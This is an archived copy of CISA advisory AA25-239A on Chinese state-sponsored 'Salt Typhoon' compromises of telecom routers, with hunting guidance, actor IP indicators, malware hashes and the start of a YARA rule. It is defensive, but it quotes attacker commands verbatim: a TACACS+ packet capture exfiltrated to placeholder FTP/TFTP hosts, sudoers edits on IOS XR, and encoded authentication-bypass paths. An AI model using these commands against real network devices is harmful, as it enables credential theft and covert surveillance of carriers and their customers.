---
reference_key: cisa-salt
title: "CISA Advisory AA25-239A --- Salt Typhoon"
url: "https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a"
availability: available
capture_method: primary
captured_at: 2026-06-23T03:30:48Z
document_id: REF-cisa-salt
---

# CISA Advisory AA25-239A --- Salt Typhoon

| Field | Value |
|-------|-------|
| **Reference key** | `cisa-salt` |
| **Availability** | AVAILABLE |
| **Capture method** | `primary` |
| **Source type** | remote_url |
| **URL / path** | https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a |
| **Captured (UTC)** | 2026-06-23T03:30:48Z |
| **Content type** | text/html; charset=UTF-8 |
| **HTTP status** | 200 |

## Boardroom Citation Context

Salt Typhoon mitigations; telecom/government advisory.

## Source Location

https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-239a





## Captured Content

```text
Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System | CISA Skip to main content An official website of the United States government Heres how you know Heres how you know Official websites use .gov A .gov website belongs to an official government organization in the United States. Secure .gov websites use HTTPS A lock ( Lock A locked padlock ) or https:// means youve safely connected to the .gov website. Share sensitive information only on official, secure websites. Staying Secure at Events no-cost Cyber Services Secure by design Secure Your Business Report A Cyber Issue Search Menu Close Topics Topics Cybersecurity Best Practices Cyber Threats and Response Critical Infrastructure Security and Resilience Election Security Emergency Communications Industrial Control Systems Information and Communications Technology Supply Chain Security Partnerships and Collaboration Physical Security Risk Management How can we help? Government Educational Institutions Industry State, Local, Tribal, and Territorial Individuals and Families Small and Medium Businesses Find Help Locally Faith-Based Community Executives High-Risk Communities Spotlight Resources & Tools Resources & Tools All Resources & Tools Services Programs Resources Training Groups News & Events News & Events Directives News Events Cybersecurity Alerts & Advisories Request a CISA Speaker Congressional Testimony CISA Conferences CISA Live! Careers Careers Benefits & Perks Hiring and Recruitment New Employee Orientation & Onboarding Students & Recent Graduates Veteran and Military Spouses About About Divisions & Offices Regions Leadership Doing Business with CISA Site Links CISA GitHub CISA Central Contact Us Subscribe Transparency and Accountability Policies & Plans Staying Secure at Events no-cost Cyber Services Secure by design Secure Your Business Report A Cyber Issue Breadcrumb Home News & Events Cybersecurity Advisories Cybersecurity Advisory Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System Share: Cybersecurity Advisory Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System Last Revised September 03, 2025 Alert Code AA25-239A CISA Product Feedback Survey Related topics: Cybersecurity Best Practices , Critical Infrastructure Security and Resilience Executive summary Peoples Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks. This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry---commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for the cyber threat activity more generically as Advanced Persistent Threat (APT) actors throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally. This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs. This CSA is being released by the following authoring and co-sealing agencies: United States National Security Agency (NSA) United States Cybersecurity and Infrastructure Security Agency (CISA) United States Federal Bureau of Investigation (FBI) United States Department of Defense Cyber Crime Center (DC3) Australian Signals Directorates Australian Cyber Security Centre (ASDs ACSC) Canadian Centre for Cyber Security (Cyber Centre) Canadian Security Intelligence Service (CSIS) New Zealand National Cyber Security Centre (NCSC-NZ) United Kingdom National Cyber Security Centre (NCSC-UK) Czech Republic National Cyber and Information Security Agency (NUKIB) - Narodni urad pro kybernetickou a informacni bezpecnost Finnish Security and Intelligence Service (SUPO) - Suojelupoliisi Germany Federal Intelligence Service (BND) - Bundesnachrichtendienst Germany Federal Office for the Protection of the Constitution (BfV) - Bundesamt fur Verfassungsschutz Germany Federal Office for Information Security (BSI) - Bundesamt fur Sicherheit in der Informationstechnik Italian External Intelligence and Security Agency (AISE) - Agenzia Informazioni e Sicurezza Esterna Italian Internal Intelligence and Security Agency (AISI) - Agenzia Informazioni e Sicurezza Interna Japan National Cybersecurity Office (NCO) -  Japan National Police Agency (NPA) -  Netherlands Defence Intelligence and Security Service (MIVD) - Militaire Inlichtingen- en Veiligheidsdienst Netherlands General Intelligence and Security Service (AIVD) - Algemene Inlichtingen- en Veiligheidsdienst Polish Military Counterintelligence Service (SKW) - Suzba Kontrwywiadu Wojskowego Polish Foreign Intelligence Agency (AW) - Agencja Wywiadu Spain National Intelligence Centre (CNI) - Centro Nacional de Inteligencia The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity. Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate. Background The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (). These companies provide cyber-related products and services to Chinas intelligence services, including multiple units in the Peoples Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets communications and movements around the world. For more information on PRC state-sponsored malicious cyber activity, see CISAs People's Republic of China Cyber Threat Overview and Advisories webpage. Download the PDF version of this report: CSA COUNTERING CHINA STATE ACTORS COMPROMISE OF NETWORKS (PDF, 1.09 MB ) For a downloadable list of IOCs, visit: AA25-239A Countering Chinese State-Sponsored Actors Compromise of Networks to Feed Global Espionage System (JSON, 86.01 KB ) AA25-239A Countering Chinese State-Sponsored Actors Compromise of Networks to Feed Global Espionage System (XML, 66.50 KB ) Cybersecurity Industry Tracking The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community: Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor. Note : Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies understanding for all activity related to these groupings. Technical details The following sections are a compilation of TTPs the APT actors have used since at least 2021 to target enterprise environments. Particularly notable TTPs include modifying router configurations for lateral movement pivoting between networks and using virtualized containers on network devices to evade detection. The actors continue to use many of the TTPs listed, but expect them to evolve when existing TTPs no longer achieve their goals. Even if no longer used regularly, the actors may still use previous TTPs opportunistically in favorable conditions. The TTP descriptions can also be useful to network defenders for retroactive threat hunting. Note : This advisory uses the MITRE ATT&CK for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17 . See the Appendix A: MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the APT actors activity mapped to MITRE ATT&CK tactics and techniques. Initial access Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [ T1190 ]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.). If not yet patched, defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Example exploited CVEs, ordered by year, include: CVE-2024-21887 - Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass) CVE-2024-3400 - Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations. CVE-2023-20273 - Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [ T1068 ] CVE-2023-20198 - Cisco IOS XE web user interface authentication bypass vulnerability While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints /webui_wsma_Http or /webui_wsma_Https to bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by double encoding portions of the path, e.g., /%2577eb%2575i_%2577sma_Http or /%2577eb%2575i_%2577sma_Https [ T1027.010 ]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding. After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a Proxy-Uri-Source HTTP header as part of the remediation logic. The presence of Proxy-Uri-Source header in traffic to /webui_wsma_* indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures. CVE-2018-0171 - Cisco IOS and IOS XE smart install remote code execution vulnerability The APT actors leverage infrastructure, such as virtual private servers (VPSs) [ T1583.003 ] and compromised intermediate routers [ T1584.008 ], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [ T1090 ]. The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [ T1199 ]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal [ T1095 ]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations. Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see Contact information ) to continue improving all parties understanding and responses. Persistence To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors source IP address in system logs, as their actions may be recorded as originating from local IP addresses [ T1027 ]. Specific APT actions include: Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [ T1562.004 ]. The APT actors often named their ACLs access-list 20. When 20 was already used, the actors commonly used 50 or 10. Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [ T1071 ]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [ T1571 ]. The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [ T1021.004 ]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of 22x22 or xxx22 , though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [ T1098.004 ]. The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. Note: HTTP servers have been observed using the port numbering scheme of 18xxx . Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors. Following compromise of a router, the following commands and activities have been observed on compromised devices [ T1059.008 ]: Executing commands via SNMP [ T1569 ]. SSH activity from remote or local IP addresses. Web interface panel (POST) requests. When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices. Executing Tcl scripts (e.g., TCLproxy.tcl and map.tcl ) on Cisco IOS devices where tclsh was available. Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [ T1021 ]. Note : Properly configured SNMPv3 is considerably more secure than previous versions. Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [ T1016 ]. Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [ T1572 ]. These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic. Some of these actions may obscure the APT actors source IP address in logs due to being logged as a local IP. Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities undetected because activities and data within the container are not monitored closely. [ T1610 ] [ T1588.002 ] [ T1588.005 ] [ T1059.006 ]. Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via pip / yum where available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [ T1560 ]. On NX-OS devices specifically, using dohost to script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled with guestshell enable and accessed with guestshell run bash . By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with a VirtualPortGroup interface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [ T1609 ] [ T1543.005 ] For Cisco NX-OS, Guest Shell is an LXC environment entered with run guestshell . It has direct access to bootflash: and can invoke host NX-OS CLI via the dohost utility. Networking uses the devices default VRF by default. Operators (or malware) can run commands in other VRFs using chvrf . Systemd-managed services are typically long-running components inside Guest Shell. Using guestshell disable and guestshell destroy commands to deactivate and uninstall Guest Shell container and return all resources to the system [ T1070.009 ]. Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [ T1090.003 ]. Lateral movement & collection Following initial access, the APT actors target protocols and infrastructure involved in authentication---such as Terminal Access Controller Access Control System Plus (TACACS+)---to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect packet capture (PCAP) from specific ISP customer networks [ T1040 ] [ T1005 ]. To further support discovery and lateral movement, the APT actors may target: Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS) Managed Information Base (MIB) [ T1602.001 ] Router interfaces Resource Reservation Protocol (RSVP) sessions Border Gateway Protocol (BGP) routes Installed software Configuration files [ T1590.004 ] [ T1602.002 ] This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information. In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models. Provider-held data, such as: Subscriber information User content Customer records and metadata Network diagrams, inventories, device configurations, and vendor lists Passwords Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [ T1040 ]. This typically takes the form of: Leveraging native PCAP functionalities (e.g., Ciscos Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms. PCAPs have been observed containing naming schemes such as mycap.pcap , tac.pcap , 1.pcap , or similar variations. Modifying a routers TACACS+ server configuration to point to an APT actor-controlled IP address [ T1556 ]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing devices to use less secure authentication methods or send accounting information to their infrastructure. The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions. Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [ T1136.001 ]. Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [ T1003 ] [ T1110.002 ]. Weak credentials, such as cisco as the username and password, are routinely exploited through these techniques. Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [ T1595 ]. Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as /level/15/exec/-/* , and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [ T1082 ]. Many compromised devices use well known SNMP community strings, including public and private. Configuring PCAP capabilities to collect network traffic. Configuring tunnels. Using monitoring tools present in the environment to monitor a devices (commonly a routers) configuration changes. Updating routing tables to route traffic to actor-controlled infrastructure. Using several techniques to avoid detection of their activity, including: Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [ T1070 ]. Disabling logging and/or disabling sending logs to central servers. Stopping/starting event logging on network devices. Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [ T1610 ]. Exfiltration A key concern with exfiltration is the APT actors abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [ T1599 ]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs. Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [ T1048.003 ]. Case study This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network. Collecting native PCAP The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement. The commands listed in Table 1 were observed on a Cisco IOS XE-based host to aid PCAP exfiltration. Table 1 : Commands to collect PCAP Command Description monitor capture mycap interface <interface-name> both Set up a packet capture named 'mycap' monitor capture mycap match ipv4 protocol tcp any any eq 49 Target port 49 on the above interface - TACACS+ monitor capture mycap buffer size 100 monitor capture mycap start Start the capture show monitor capture mycap buffer brief Check status of capture monitor capture mycap export bootflash:tac.pcap Export PCAP to file, staging for exfiltration copy bootflash:tac.pcap ftp://<domain/service>:*@<IP> Exfiltration copy bootflash:tac.pcap tftp://<IP>/tac.pcap Host-level indicators If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity: Capture name: 'mycap' Capture rule: 'match ipv4 protocol tcp any any eq 49' Exported pcap filename: 'tac.pcap' tftp remote filename: 'tac.pcap' tftp remote IP: [remote IP] Enabling SSH access to the underlying Linux host on IOS XR Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console. The built-in sshd_operns service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate. On IOS XR, sshd_operns is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at init ( chkconfig ) or equivalent. In observed intrusions, the APT actors enabled sshd_operns , created a local user, and granted it sudo privileges (e.g., by editing /etc/sudoers or adding a file under /etc/sudoers.d/ ) to obtain root on the host OS after logging in via TCP/57722. The commands listed in Table 2 were executed from the host Linux bash shell as root. Table 2 : Commands to add user to sudoers Command Description service sshd_operns start Starting the sshd_operns service useradd cisco password cisco Adding a new user sudo vi /etc/sudoers Adding the new user to sudoers chmod 4755 /usr/bin/sudo As 4755 is the default permissions for sudo, it is unclear why the actors executed this command Threat hunting guidance The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the Contact information section for additional reporting information. The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress. The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities. The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting: Monitor configurations changes Pull all configurations for running networking equipment and check for differences with latest authorized versions. Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications. If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM). Verify the authenticity of any configured local accounts and their permission levels. Check all routing tables to ensure that all routes are authorized and expected. Verify that any PCAP commands configured on networking equipment are authorized. Monitor virtualized containers If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized. For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry. Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded. For IOS XE, hunt for guestshell enable , guestshell run bash , and guestshell disable . On NX-OS, hunt for guestshell enable , run guestshel l, and guestshell destroy . Alert on unexpected use of chvrf (running commands under a different VRF) and, on NX-OS, use of dohost (container invoking host CLI). Monitor network services and tunnels Monitor for management services running on non-standard ports (SSH, FTP, etc.). Hunt for actor-favored protocol patterns: SSH on high non-default ports with 22x22/xxx22 numbering patterns from non-admin source IPs. HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF. TCP/57722 (IOS XR sshd_operns ) reachability or flows. Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux sshd_operns service). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected. TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure. FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity. Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine: Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs). Unauthorized use of file transfer protocols, such as FTP and TFTP. Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration. Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel---each of which may leverage different protocols. Monitor firmware and software integrity Perform hash verification on firmware and compare values against the vendor's database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected. Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information. Use the products run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image. Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure. Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files. Monitor logs Review logs forwarded from network devices for indications of potential malicious behavior, such as: Evidence of clearing locally stored logs, Disabling log creation or log forwarding, Starting a PCAP recording process using available functions, Allowing remote access via non-standard methods or to new locations, and Changes to configuration of devices via non-standard methods or from unexpected locations. Alert on creation/start of any on-box packet capture (e.g., monitor capture ... start , Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS. Inventory and continuously watch monitor session ... (SPAN/ERSPAN) and PCAP state. Naming patterns include mycap and output filenames like mycap.pcap , tac.pcap , and 1.pcap . Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or span/erspan configuration commands, capturing the invoking username and source. Audit for non-root local accounts granted sudo on XR host Linux (e.g., via /etc/sudoers or /etc/sudoers.d/ ). Where supported, ensure the host operating system (OS) sshd_operns service is disabled and not listening. Validate at each reboot and device upgrade. Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS. Analyze internal FTP Server logs for any logins from unexpected sources. Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes. If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate. See the Contact information section of this advisory for response actions that should be taken if malicious activity is confirmed. Indicators of compromise IP-based indicators The following IP indicators were associated with the APT actors activity from August 2021 to June 2025. Disclaimer : Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking. Table 3 : APT-associated IP-based Indicators, August 2021-June 2025 1.222.84[.]29 167.88.173[.]252 23.227.202[.]253 45.61.151[.]12 103.169.91[.]231 167.88.173[.]58 37.120.239[.]52 45.61.154[.]130 103.199.17[.]238 167.88.175[.]175 38.71.99[.]145 45.61.159[.]25 103.253.40[.]199 167.88.175[.]231 43.254.132[.]118 45.61.165[.]157 103.7.58[.]162 172.86.101[.]123 45.125.64[.]195 5.181.132[.]95 104.194.129[.]137 172.86.102[.]83 45.125.67[.]144 59.148.233[.]250 104.194.147[.]15 172.86.106[.]15 45.125.67[.]226 61.19.148[.]66 104.194.150[.]26 172.86.106[.]234 45.146.120[.]210 63.141.234[.]109 104.194.153[.]181 172.86.106[.]39 45.146.120[.]213 63.245.1[.]34 104.194.154[.]150 172.86.108[.]11 45.59.118[.]136 74.48.78[.]66 104.194.154[.]222 172.86.124[.]235 45.59.120[.]171 74.48.78[.]116 107.189.15[.]206 172.86.65[.]145 45.61.128[.]29 74.48.84[.]119 14.143.247[.]202 172.86.70[.]73 45.61.132[.]125 85.195.89[.]94 142.171.227[.]16 172.86.80[.]15 45.61.133[.]157 89.117.1[.]147 144.172.76[.]213 190.131.194[.]90 45.61.133[.]31 89.117.2[.]39 144.172.79[.]4 193.239.86[.]132 45.61.133[.]61 89.41.26[.]142 146.70.24[.]144 193.239.86[.]146 45.61.133[.]77 91.231.186[.]227 146.70.79[.]68 193.43.104[.]185 45.61.133[.]79 91.245.253[.]99 146.70.79[.]81 193.56.255[.]210 45.61.134[.]134 2001:41d0:700:65dc::f656[:]929f 167.88.164[.]166 212.236.17[.]237 45.61.134[.]223 2a10:1fc0:7::f19c[:]39b3 167.88.172[.]70 23.227.196[.]22 45.61.149[.]200 167.88.173[.]158 23.227.199[.]77 45.61.149[.]62 Custom SFTP client The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another. The following SFTP client binaries in Table 4 through Table 7 are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, cmd1 has the additional capability of collecting network packet captures on the compromised network. Note: The cmd3 and cmd1 clients were likely written by the same developer since they have similar build path strings and code structure. Table 4 : cmd3 SFTP client File Name cmd3 MD5 Hash eba9ae70d1b22de67b0eba160a6762d8 SHA 256 Hash 8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1 File Size (bytes) 3506176 File Type ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=rHFK_GWSIG3fShYR02ys/Hou3WF-dO9MYtI232CYr/ D3n2Irn5doNndtloYkEi/r3IcebaH3y02cYer7tm0 stripped Command Line Usage ./cmd3 <encrypted_configuration_string> Version String v1.0 Build Path String C:/work/sync/cmd/cmd3/main.go Table 5 : cmd1 SFTP client File Name cmd1 MD5 Hash 33e692f435d6cf3c637ba54836c63373 SHA 256 Hash f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4 File Size (bytes) 3358720 File Type ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=N3lepXdViXHdPCh5amSa/LhM5susdTarcmIQEMqku/ eplvxiWNUFNeKXjT-6sd/R-eCtbFZFNozRZqEuwZY stripped Command Line Usage ./cmd1 <encrypted_configuration_string> Version String V20240816 Build Path String C:/work/sync_v1/cmd/cmd1/main.go Cmd1 SFTP client Yara rule rule SALT_TYPHOON_CMD1_SFTP_CLIENT { meta: description = "Detects the Salt Typhoon Cmd1 SFTP client. Rule is meant for threat hunting." strings: $s1 = "monitor capture CAP" $s2 = "export ftp://%s:%s@%s%s" $s3 = 